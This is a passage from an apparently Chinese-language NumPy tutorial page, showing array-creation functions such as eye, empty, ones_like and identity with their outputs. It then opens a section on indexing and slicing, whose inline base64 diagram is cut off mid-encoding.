<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span>  <span class="n">np</span><span class="o">.</span><span class="n">eye</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1., 0., 0., 0., 0.],<br>
[0., 1., 0., 0., 0.],<br>
[0., 0., 1., 0., 0.],<br>
[0., 0., 0., 1., 0.],<br>
[0., 0., 0., 0., 1.]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span>  <span class="n">np</span><span class="o">.</span><span class="n">empty</span><span class="p">((</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="c1"># 元素的值是不定值，不是0哦</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[6.17021380e-042, 8.98497795e-067, 8.32380315e-071],<br>
[1.22082702e+165, 3.97948961e-315, 1.89124308e+219]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones_like</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1., 1., 1.],<br>
[1., 1., 1.]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">zeros_like</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[0., 0., 0.],<br>
[0., 0., 0.]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span>  <span class="n">np</span><span class="o">.</span><span class="n">eye</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">empty_like</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[5.97915591e-305, 6.01020264e-305, 5.98054658e-305],<br>
[5.98037274e-305, 5.99198485e-305, 5.98252833e-305],<br>
[5.96785670e-305, 2.15228723e-280, 5.98586589e-305]])</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span>  <span class="n">np</span><span class="o">.</span><span class="n">identity</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[1., 0., 0., 0.],<br>
[0., 1., 0., 0.],<br>
[0., 0., 1., 0.],<br>
[0., 0., 0., 1.]])</p>
<p>eye identity 都可以创建单位矩阵，除了参数不同之外，二者有何区别？</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">((</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>array([[0.99217117, 0.26712817, 0.27010174],<br>
[0.30047328, 0.46375106, 0.37945124]])</p>
<h2 id="索引-和切片">索引 和切片</h2>
<p>数组的索引是从 0 开始的，二维数组的索引如下图：<br>
<img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABR4AAAJPCAIAAACVSF/MAAAgAElEQVR4nOzdeZhcZYE2fP96v&#43;&#43;7hKS76uxbbb0mISFsyr4IOo6jzuiMgAO4jM4wvjDIvksYBIZFRwQUERAVAoRNcFRAcWFJ70s2IlvS3dV7VVf1UstZnuX746mudJJORumlOsn9u&#43;6rr6JTXXW6uqg6dz3Pec6HOKeMEc6pCOMcQRAEQRAEQRAEQZA9srcPlTFOCfHL1RpBEARBEARBEARBkNmyp&#43;nKTT/EGOOcU0oZY5QjCIIgCIIgCIIgyCEdwijjXFwgjAaUiO/sjbCAceoT70OcU88r&#43;r5bKOR83w0CD0EQBEEQBEEQBEEO2bhuwfOKQeCJKd6UBoT4jJFZRq0Zo5Ryzj8UBB6fMSdclHIEQRAEQRAEQRAEOcTDOA8o8UnAOCdsXxPCKWOkVK0pDTinjJGKHxeOIAiCIAiCIAiCIEsws1ZrL/A5px8i0xPHfRIQRn3fRRAEQRAEQRAEQZBDNkHgeV5RzAkXl4PA83131mpNOeOcfohx7pPg&#43;BNPOP7kU44/&#43;ZSTTjkZQRAEQRAEQRAEQQ7ZHH/iCcefeMIpp516ymmnnnTKySeefNJJp5w8&#43;6g1Y4QQwuiHGOeu7536sTPzxcKsi4kDAAAAAAAAHDoY55zT6UngtFDInfGxs7zAn&#43;26VFwT1RoAAAAAAABgl7&#43;8WjPGRLtGtQYAAAAAAADYBdUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAAAAAADmBNUaAAAAAAAAYE5QrQEAAKACpnc&#43;9vcdAACAAwWqNQAAAFQA45xyVv6KUg0AAAc0VGsAAACoAEpLuxCMc0JIQEn5OwAAAAccVGsAAACoADYjlDMv8F3fyxcLld4uAACADwLVGgAAACogoGRXtaaUEMIYZoUDAMCBCtUaAAAAKoYxxrCAGQAAHPhQrQEAAKACKCeE&#43;CKUBuKCT7xKbxcAAMAHgWoNAAAAFRBQn3HKOf3db18&#43;&#43;fiPWpp6xumndnW2V3q7AAAAPghUawAAAJjFzGXG9vhPxqloxbv/J99javeM/6QzL/PdLtOzTjs5Ho1FLTNq2f/4mc&#43;IWxO3z6cvT28DLd/C9G2WrkAIoZz4vk8ICajv&#43;h4hPuP0lhtvPOmjH9FU2bYMRQ5HTGvRHkAAADikoFoDAADArOjuNVh8i7EZnXb3dr1nry5fYJzO&#43;CadeYFzXhNPOLapy5JcXWVoOmEB45SwoFyt&#43;a4fp&#43;Udlz2qNeWMEJ9S6pPA910vcP/7rjtPPPZYKVxdm6hRw1JDfa0SqnYMfeEeLwAAOJShWgMAAMAs2IxBY9ct&#43;CQIKGGMFYtF1y3wUvstX3nP&#43;CTwSVBwi3xGteacE&#43;K7ruu6rtjz8EmwckWDLiuGokpVy2OWPl2nOaU0CIKi54qp455XdN0C5Syg/owyv6t7M0YY5z7xvnPHbcesWRW1zHgsEnfsunisLh5TQtWWqRu6usgPIwAAHCJQrQEAAGAW4pxYnHPCKOPUC9wg8PLFHOWEce4FvpiGzRjzPM/zimJnghBCOSt6Luc8oIQQ4rou51QIgoAQn7DSsDNhlHN&#43;/dVX2boRqqqWQuGbb7xO3LU4NRellDHmBW7RKwSUEEaDwKOcMEbEbXqBXy7505Wb10RjEdupr6upiUaillmfiNu6Vp&#43;I66pm60YFH1IAADiIoVoDAADALGaOCfu&#43;6xOv4OYpDXK5XD6fL52Jenpwe&#43;&#43;p48Vi0XXdfD4/4zBsWhqy9otTUxPlI7Q5588//eQVl1z08q/&#43;J5fLTd8CJcQPAs/zil7gEkbz&#43;SnXLbhugTHCGNn7fiknnPNiMf&#43;3Hz8rYhr1dTWrVjZ&#43;9Jija6KRhrp6Q1EjtqOEwov8MAIAwCEC1RoAAABmQWlAOaE04JwGgSe6LmGBqNmE&#43;L7vUhr4vkuI7/u&#43;T4J8sSCGqYMgKLjFgJJisej6RUIIIb7nFX3iFT3XJ544yZbo25QTzqnv&#43;2IHg5bOdS2GrAmlAWOEEN/1i4QFrlsgLPC8YkD9IPDEhomp4F7gcs4pZxf/&#43;4WWpq4&#43;YuVt69blpiZqY/GoZTuWbepG1DIr/LACAMBBCtUaAAAAZsc4J4z6xKM0&#43;M0vX7z&#43;yivPOv2Uo45YYapKTTzxiY&#43;dccM1V6dGRjnn00uL8Zuuvb4mGos6kahl26a1pnFl&#43;Z8e/uEPHUO3dcPQVUtTLzjnHDFqfdTaNbZlxB077kRq4glxrLWYTB5Qf2iw/9rLL//4Gadamu4Y5tqVK7/8xS8&#43;9MP7po8DLw2bB0FAOSm4RUqDB&#43;6757orLxseGhAD47GoE7EdU9Vq4glT1Sr1YAIAwMEN1RoAAABmQTkprb/NyAXnnKPLkqbKlqaGQ1WGIhu6ahmmrWtrVzW&#43;9D8vUBqIMjw0MFhXUyuWJVPDkhIK//CeexhjjNMvnXuuqki6rKiKpCrSs0&#43;tF624oa5eDYeili1XV2mKWGasdL&#43;/&#43;eWLaxobLU01dFWTwoocNlXFUORPfOwMcQUxqM449QIxou4HQeAFbsEtlhcPj5hG1IkYmu5YNo61BgCABYJqDQAAALObrtZs3Q3XRy0z7thRy47HIuLo5SMaG2JRJ&#43;JYJ534kSAIyvsTXzn/PFNV1LC07LDDNSl8/tlnFwoFxulRq4&#43;wNN1UlZpo7G/O/Fj5wOyGunrHMC1N1yRZrg5xzkVbHhxIrlrZKFdXmaoWXr7MNDTbtGpjUcc2b7nxxpnHde9j4/dz&#43;wAAAPMM1RoAAABmwUpfKeXkt6&#43;8JCZUf&#43;Fzn735xuu&#43;dsEFdfFYIhaviyfi0VgiFr/rtlumdwloV2e7bRnh5cuUULUSCtfFY0Wv8MIvnqmPxWK2o8tSIhb/8Q/v21f1LZ8oe90N10adiC4rmqJK4erG&#43;oYzTj/1qFWrEvHoU48/Vr67/Ww/qjUAACwaVGsAAACYHeM0CALGeaFQuOaKS3fueM/3XTGkfNl/XLyyviEWiUZMw1S1sz//9&#43;XzURPif/yM06WqakOR1bBkyur//OLZqy&#43;/LGZbiYhj68YJxx3Ndu18zFJ9xWj535x5umOYpqopofDpJ5&#43;0c8d7PvF8392w/ufi/NWcU7rvoWtUawAAWEyo1gAAADALcSA045wQ3wv8iYmJydyEF7iMMUrp0088Fo/GIqYVd&#43;x4NPZ3f3NW&#43;SRbnPMffP8eS1NFK9ZV7Yarrjr9tJMSEScWiUYt&#43;zv/det&#43;q3XplFpHrFylhkNRJxJeXnXNZZdN5Sen8pMTU5Ou74mDtzEhHAAAlg5UawAAAJgVJaVzYtGi5xJGp/KT&#43;fxUEATdXR0/uv&#43;&#43;2pq4Y9mWqWuKqsqKGGqmVIxy54458ghNkk1VM1Xt2LWrHcOsr6uJmMaRq9eMjg7z/VXf0uj3qoZGTZU1RdUkORFxXnzu2WKxWCgUKCeUlsarKcWEcAAAWBJQrQEAAGAWjJdOMF30Cp7nFYv5lpaWC//ly0etPkJXNVs3bF1zDDMejcWiTm1NfPokW5RzTlhw7ZWXGZpuKKouS1HLNnUjEYsnIs7NN1zLp3vvfiaEc07PO&#43;efLMO0NF0NS0qoWg5LF1/49f5kb6GQE2Pp09fc9/bv4/YBAADmHao1AAAAzE4sDy567C3fut4xdEtT49FY1InUJmps04o6EV3VbF1TQtXl0WbOKSH&#43;4ECyPhG3dUMNS6qs2LoWj0VqY/H33n2b77dal3dKnn9uQ8x2pFBYlxU1HLJMPRFxVjc0vPryS5QGbHre&#43;L43HtUaAAAWD6o1AAAAzGJ6CJoyTm&#43;89irHsuNOJO7YtYma&#43;rqa&#43;kTcMsx4NOYYumWYalia3qWglBPOacEtfuFznxVjzros2bpmmfrffOKscgPfT7UW90s5ueeuu6RwtaHpajhUG4vHbCsasdesXPX7V1&#43;eeQv72n5UawAAWDSo1gAAADALNr1S9/rHf5qIR6Wq5ZamVx&#43;&#43;7BMfO239o48yzmORaENNQpelWNTRJLm87BnnnLAg2ddTn4g7hq6Eqg1Nj9lO1DIbamp//8pvKKXlZcyYqL6WLaqvFArzXef94pQGjz/68IrG&#43;oaaWqlquSbJEdOwDPMTHzuNlzZv/9vPOao1AAAsClRrAAAAmAWbPpL5X79yQcR2NCmsq5pUtXz79m2i00adSF08YWlqbSyqKtL09Snn1CfB7bf8p6bKlmGq4ZAYsq6LJxzL/vevf9Un3h4TwqOWbSiqLitydUjceEDLh1LTwcH&#43;L//zOaHq5aqsmLrh2GZ9bd2rL7&#43;0nwOtOao1AAAsLlRrAAAAmEW5Wp/4keOilq2psibJp554gpjRzThdUVcbcayIaZi6oe9aIZwyTl3XPXrNak0K27qhKeraVY010VhdPJGIROOOvXlTV3lcmnPeUFcfMS1T1dSwpITC5V2L6WFzLlYd/&#43;Y3vhFxLKmqekVdfTRi337LOoxaAwDA0oFqDQAAALMoTwhftbJRk8IR05Kqqk8/7ZTpVkzjju0YumlojmE6hsl2tXG64anHDUW2dUNM4f6vW9bFo7FELB53IlEncvP114tTZ4kfqauptU3L0nRDUeWwVJ5YzjgnLMgV8ozTfLGQz08Zimqqmm1a9Yma29at41ghHAAAlgxUawAAAJhVaXT6qLVrdE0Ra31HI/ZAfx/j9IHvf78mETN1w1Q1S9MNRS7vTFAafPKsM3RZEmuY/dNnP5tM9q5oaLQMs6G&#43;1lS1I9cc0dfTW66&#43;jfUNhqbPPNbaC1zO&#43;f33fPfJJx4PAi87kZmamvjpww/ZuqYqUsx2ErH4Y48&#43;zHatST4LVGsAAFhMqNYAAAAwq9J5qi/44tmi&#43;iqhsCbJJx9/3KUX/Xs0YtfFY4Yix2xLjCSXlxNva22O2Y4UrjZVRa6uuvu/bvdJ8KVzz42YRm1N3NaNmmjs1pvXzay&#43;1nT1lULh8jzwsz//OU2SHUM/5YTjj1zVqISqQ1XV0YitqXJjbd3YWIpj1BoAAJYMVGsAAACYndg5eOHZZ6KWqcuKJsniJFiJWNwxzEQ86hi6bRlydchUtfLJt756wfmmqslSSAqFparlm7s3Mcbuueuu&#43;kQ8YjuxSNTWjbWrGjkrtd/G2rpy9ZWqqoMgKHou57y&#43;ts4yTNPQDEVWQtWqIimhasvUbd2Yng2Oag0AAEsFqjUAAADMYnqFMMo4vezib0ihsK5qihyui9XW1SY&#43;ctwx1155hS4riUhUqqo2dFVcc3R0uCYRU&#43;SwLivVhy87es0qxjnlbGRk6CPHHqfI4VgkqmuKrWuPPvgQnz75lq0bhqJqiqqGpYASxulvX/l13LGjTsRUtahlK3LY1A1dUwxFvuw/Li4vYIZqDQAASwSqNQAAAMyivPg2pZQQ8sB995/00eMtw2yoqf3qBV8aGxndsP4JcaC1pelxJ/LE&#43;scoDb513bXRiG2ZuqNptmVcc9lllDNxU1897wLHMG3d0FXN0vSPn3mW2P&#43;IOhFL0SxNN3Vjejk0yjm967ZbPv&#43;ZT609YpWhq5amn/TRYy/44tniXggLGCMzN3I/ok5E3LKpaqaqLdDDBQAAhzhUawAAAJgFYbSEM8IoISSghDDq&#43;z4hxPM83/eDICCEBEHgeZ5PPC9wfeIFgef7bhCULwSUUp8EQRCIrwElru/5vh9Q4pPA933XdQkhhBDXdYPAIyzwiUeIHwReQH2feD7xAuoTFpRDaUApZWyf5VrcbxAEQRD4vu&#43;T0v0u5mMIAACHDlRrAAAAmB2bOXbN991i9/GzM2&#43;BlTN9M&#43;XL4vvi9mfeRek7M&#43;5214&#43;w8pX3NyFc3AJhlHEeUCK&#43;89f8EgAAAH8pVGsAAACYnSiljDHGmCillFLf9znnjJUGtX3fp5SKfwqCQFRf1/fEvkVAS2Pd5VsLgoBzLkbCyzdFSGk8mVJKWLDr&#43;owRQjjnlJNSnS7jnLBgP8daE0ZFnRZfPa90&#43;wv&#43;qAEAwCEJ1RoAAABmVxpPptT3fdf3ip7r&#43;74Y&#43;6WcBZQUPdcLfC/wXd&#43;jtLS0mKjQXuAX3GK&#43;WJg5cB0EgRf4uUJ&#43;MjdVHqymlHqe55OgUCgUi8WZGyCmmhcKhVwuJ&#43;7FC3xR4P&#43;SUetyvMD3STCVz03lcwv3cAEAwKEM1RoAAABmIfrz9Agx55yLYeqAkvLkbcKoTwI2PQotLohhasqZ&#43;Kfyz4sWXT5AWgxHly&#43;IQ6N33a&#43;Yzs2YuD5jjNKA0mB6x4OKgfT9TPAuz2AnhIjR7/0cmA0AADBHqNYAAAAwixkjw5zPGAHe34/MuCbf/Wf57sPI5euIse69v7/Hze6WGUdo738/pHy49cyvAAAACwHVGgAAAGa3d7XmszXkvfvwrP&#43;6/6LOZruwdznf6y7&#43;lwnh5QH2v&#43;SjAQAAgA8M1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAAAAAABgTlCtAQAAAAAAAOYE1RoAAGBPjLG9/3P6zZJzzhmnfDozv885ZZwyRvD&#43;&#43;IGxGQ/19ANL2fTjzGa/Asyb3R/kXc/w3R9qWv6jAACAgGoNAACwG0opL9dpxso1e7pmiEbN2e59j09XkSDweKldwwdRfkh94onHk5Ue8FmqNSyEcq9mM/rzrl1GRmbsPmI/EACgBNUaAABgTzNHrcsde8ZIXXnImnPOKWeEEMIo57zoFTinnldE5ZgDyjklLGAzdlCKXmHvao2CvRB2L9UzPtRghHHuBS7jnBB/eg8Sz3MAgBJUawAAgNmx3QWUiJpNKXV9b3oojxJGfRIQQorFPOfc9YsYzZuLcmcmjHpeMZ&#43;fCoKAl8axA8Z50XMJIZxzyhmq9byjnBAWEOJTGhDi8/Kfg/i&#43;7zLOfd8vN20xxQMAADiqNQAAwB7Kk8B3TQUvHWtNCQse/MG9X/iHz9TEE5amnnDcsZde9O/9yV4vcCkNGOeeV8RQ6hxRShnnQRAwTgPqM06LxXyhkLvuqqvXHrHa1o0VdfWJWLw2UcM4p3iwF8DWLZtuuv66v/34WWtWrjIVQ5eVhnj8vC984fGfPpovFnziUVo&#43;GgL7gQAAJajWAAAAe9qjWgueV/ziP/6jIod1WVHDIU2VFUlW5PBHjj5qeHiw6BWCwKOUBkGAtjdHjFNCfEL8fDFHiL/uuuvWrmoML6&#43;SqqotTRdfNUkuem6lt/QgdMUlF0lVy6Wq6nCoSpPClqbrqmboqiaFQ9XLv/G1r7m&#43;R1hAA8JmHBYBAACo1gAAALvZY7Cai3FUxq674gpTN3RV02XJMUw1HKo67MPLP3yYpanHH3uMOMTaC3yflGYvwwdVOpQ9oP7tN9985IoVlqaaqnLY//v/VR&#43;&#43;zFBUxzAjphUxLZ8EAcVycfPsG1//qmPopqqpimRpqlS1fNlhhx/&#43;4cMMRVVC1XJ11dcuuIDyXUsPVHp7AQCWClRrAACAWZQPsRb/2dnZqUmyLiuGohqarsqKoai6rOiyZBqaaWi33nRTEHhiyBpzwuemVK0pDSxN16SwJoUNXZWqqpVQOGrZSihcE42Zqlb0XLF6HMyj&#43;773HUORdVkyFNnQVVPVFEnWpLCmyuUn/G9&#43;&#43;eLMdc4AAICjWgMAAOyl9L5YcPPTJ3/i5597TiwSlUJhxzANRb7&#43;qstvuPqKutpExLF0WbF1be2Rq1npOGGM5s1JubAR4n/8jNN1WdIk2VQVUzfEYHUiFk9EorWJGhxovRBGhoYdy/6HT33qzttueebJx595&#43;onzzz7bsc3w8ipb1&#43;TqqkQs/pXzzt3rjO4AAIc6VGsAAIDdsL2rNSN18VhNPBGuDmmqfNTqlaI8f&#43;PrX43ZjqjWoerlmzd1iZWrMZo3F2LpMrHPceFXv2qqWsx2rr/6qvfeeVdMBY9HY7WxeGN9g08ChjXC5xvjdMP6x33i&#43;SSgnPm&#43;7/vujddcWV21zNJ0JVQdj8ZOOfnE6XN0AQBACao1AADAnkQxzhdzjHNCyBPrHzNVLRGLq7Ji6OoV37yYMMo4v&#43;fuO2KRqCbJuqpJVcu/e&#43;ftYl1rzjneHz8wn3iMU3FirR/ec8/Vl17a19PrBW6hUIiYlmOYtYma2lh8ZX2DF/iodguBcT7zzFuU0q6OTilcLVY1s0y9ob52&#43;pTXeJ4DAJSgWgMAAOymfEohQnyx4vcN11wpxk4NTdc15SePPCSu&#43;Ytnnq6tiRuKqsqKGg5dfOHXOeccQ3lzVTqIl7DA84pe4E7lc4QF&#43;XzeMsyoZdfV1MadyMr6BnGCZZhf4iENgsAnnlj0nnLmBb4shdSwJGbmN9TXMszOAADYHao1AADAbsrV2vddznkQBJ//zKfEqLVlmIamNzW9KWYsb926uSYa0WVFDkuaFP7kWWdMH2sNcyJ6NeOcMUJYQCl13cLE1KRlmLZuRJ1IfaJmRV29OAM2zC/GeUAJ5axYLDLOxTnbC25el5VQ9fKIaWmqfPrJJ&#43;FYawCAPaBaAwAA7EZUa9/3Gaee5wVB8PHTTrM0PRZ1HMtWZcXzPHE8MON8RUOjrmpihadjjzlyxtsq3h8/oOmlp3lAiZiWTIjPOJ&#43;YmnQsO2JaNfGEqNYYtV4IYqfQ913CAtd1GeeeV3z6ifWaJMvVIXFerq&#43;cd275mgAAIKBaAwAA7Eb0OkII47RQyBHim6piqkpNNCbGqIvFYvmA6iMaV&#43;iysnzZYbauKXJ4umlg7HpOyu2aT3/SwRgreq6o1olYvKGuvq6mljCKRcLn3cyZ3uU/wVfOO1eTZFkKWZpuW8a3193EMGoNALA7VGsAAIDdiM4g&#43;nM&#43;P&#43;X7rqlquizVxROJeFSXFTGgLa65ZuUqQ1GXHf5hy9SlqmrxbopqPRczl56e8Xjyouc6hhm17Jp4orG&#43;oRHLmC2U8oNfWkxuZGRozcpVihxWw5IuKxHHemvbFpxkDgBgD6jWAAAAuxHviD4JOKfFYt4LXFNVDEVORKJxJ2IoatFz&#43;fSU71UrVqqKtPzwZY6ha1J4ergPxwDPv3w&#43;b5uWY5g18UStmBBOgkpv1EFoesoAFZ9ceJ637rrrNEVVQtWqIimh8Nmf/1xAfXHaM1RrAIAyVGsAAIDdiHdE1/c4p8Vi0fWLjqGLah2zHVWRXN8LKBGlYmXjCl1TQsuWm4amhKrLQ3mo1vMO1XpxzJwKPpXPvfb7V6VQOGqZqiKp4VA4VNXZ3lFw83zG1QAAgKNaAwAA7GHXybdYEASB5xVtyzAUtSYasU3LVJXxyez0dejK&#43;gZDkeXqkC4rjm3yXeN4eH&#43;cZ6jWi6U0zZtyxjg9cs0RdfGErmqWpsrVVVdfflm&#43;WOCcB4GHJzkAwEyo1gAAALsRA3GUBpSTIAh83/3Ex880FDXiWI6hq7JSKOTKx1o31taZqiJXh1RZOeP0U2ccJ4z3x3mGar04pj9Xopzz6668LBGJ6poStWxb1445ck0QeAH1vcAvnyANAAAEVGsAAIDdzHxTFGch&#43;sTHzjBVLRGPqorkGPo7b28X/Xn7W1vr4gldljRFlaqq/&#43;5Tn5y5wlmFf42DDqr1ohHP3ueffjJq2Y5l67KiqXJdPLZpU5fneWJYW3RvAAAoQ7UGAADYTfmt0fOKjHPXL1787xdqiloTjaiKZGn6ow/9WFTrXz7/XCIWVxVJU9RQVfW3rrlGLH6G81ovBFTrxUE490nw/vvv1kQj8WhMlxVDkUPLDt&#43;w/vHp/zVmLgyO5zkAQAmqNQAAwG7Kk7qLxTzj3AvcH91/n6bKtbGoIoctTV93w/ViKuw937k7Ho2piqSrmlS1/JEHf0RYgBXCFwiq9eIgLMhmsx895uiVjSuUUFicVe6Gq65ijIhSLdbwY1jGDABgd6jWAAAAuykfKe36Rc6p77vDQwOmqtQkYkqoWle10044QVTrC7/2lZpozFBkS9Pl6qqR4cFy/ajw73AwQrVeHJSzC754bm2iJmrZcSdSXbXsC3//95O5CbZrvJoSQsROYaU3FgBgCUG1BgAA2I0YiCOMBpSIqkxp8PlPf1rXFF1WFElWw6Frrrj0iksukqqWH/7hwyxNN1Xt/LPP9X3fJwGlGM1bEKmxdPXyKkPTdVlZ0dBo68ZUPldwi5XergPVrpXwic8YYYwQRiln37ruarm6Sq6uksOSIskx27r04osuvfgbF/7Ll7/5fy&#43;87KKLrrrskuuuuGLzpi6x1F&#43;lfw8AgKUC1RoAAGA3ohUzxoIgmF6xKdiw/nFFkhVJ1qSwoavh5VVyWNJlxdYN8bWtpTWfz1POCEHZWBAFt6iEwrZpVS1b3lBXr0my53mu71V6uw5UjHPKCWMsoKVnLGOks7M9EXEMRVYVSZUVVVZURdKksKHIcnWVpam6LJmGZuvahqeeCAKPMTzbAQBKUK0BAAB2wxhjjHHOZ1ZrxsgF536h3DfiTsRUFbvpTRsAACAASURBVE2Vlx&#43;&#43;TJPk6664yicBYyyfz7PSCYFhnmUyGVPVVFlpqKmtiyfq4olCoeD7s&#43;yywF9C7PyJkWpCCGOM0uDJJx7XVc1UNVs3DEV1DNNQVEvTdVVb/uHDwsurTFUzNL0mGnt6w5NYrg8AYCZUawAAgNkFgcc5FxNlCQuGhwc//5lPObZpabomhSOOFTGtuGOff&#43;4XgyBwXZdSSjkLgoBhQvgCIITYpmUZpq5qiUg07kTQq&#43;dCfAZEOROn0WKcM0Y2rP&#43;5ZZi2aYkTWccd2zFMUzds0zI03TJMWzccw4zZzjNPPo5qDQAwE6o1AADAbsRaTZSLQ08J55wxRlhpDad77r7jHz79tysbV9REY/989hd&#43;dN89jDExLVlMrGWlt0yYZwW3WJuoiTqRI1evqU/UrF1zZKW36GBQWhqAMcoZ5eTpDevra&#43;tEVq5oaGyoW9m4orG&#43;oaGuPmqZjmXXJ2pqEzVHrFz14gvP4iMkAICZUK0BAAB2U67WpfMMlZX&#43;VRBNm5dPQRQEAZ3&#43;R/SNhVB&#43;/BnnhBBMvJ&#43;jGU9qzkuTw8tnZZ8lezznZ&#43;w&#43;AgAA56jWAAAAe6FiwWS2e3mYPt81LZ92qPwmWr4C39VDYP7teoQxMWB&#43;lJ7GYmY45eJpv&#43;cTuLybKD7RKJ/4HQAAZkK1BgAA2AMV7ZpzKirc9MGopV7Ndh/Z47NdgHnHSnsiu77CHDFOGWOUE8oJ59Prme2jWgeB5xOPT/&#43;PMP2Ex34gAEAJqjUAACwVbHeV3hwAOLDt5/UErzMAMO9QrQEAYKkQu7kzvwIA/LXYbCq9UQBw8EO1BgAAAICDEKo1ACwmVGsAAKiwWYeYsCsMAB/A//oCgtcZAFggqNYAAAAAcGhBtQaAeYdqDQAASw52eQFgLjALBgAWH6o1AAAsFXvsClMAgA9qj16Npg0ACw3VGgAAKgyNGgAWDQo2ACwQVGsAAFgkDEEQZFGy9wsO5UxEXGbl16UZY9qVem0EgIMD4xzVGgAAFoNPAsZ5vliYuftLCKnwZgHAQUTspnLOvcAXFVokoKQc0bH5dK8u/SBGswFgblCtAQBgkTDOCaOc82KxyBjL5XKEEMoZYTSgxCeBTwIv8MXXoue6vlf0XHEBQRDkL8n4&#43;HgQBOPj41y0a0pd1w2CwPM8z/N83/d9nxBCKQ2CgHImpoiXXqNQrQFgDlCtAQBgkYgRpMncFOO86Lnia8EtFotF13Xz&#43;Xwul8vlcpOTk5OTk1NTU5OTkxMTE&#43;Pj4xPTZl4GgEPZ&#43;D5M5XPj4&#43;Oe542OjuZyuVQqlZ0Yn8rnpvK5fLGQLxYKblGUcEKI6NjlJR7KL1Zo1wDwAaBaAwDAYssXCwElk7mpqXyu6LmFQkH06qmpqYmJiWw2Oz4&#43;ns1ms9lsJpMZAwD4iw0MDAyNDA8PD&#43;fz&#43;XQ6PTk5WSgUJicnJ6YmJ6Ymc4X8VD4n2rXneYSQIAhmrnBW6VdHADiAoVoDAMAioZyJox9d16WU5nK5IAgmJyfHspnRdGokNTqSGh0cHhoYGuwfHOjrT/b1J3uTfXunp68XQRBk1vT29vb39/f39w8MDCSTyeHh4b6&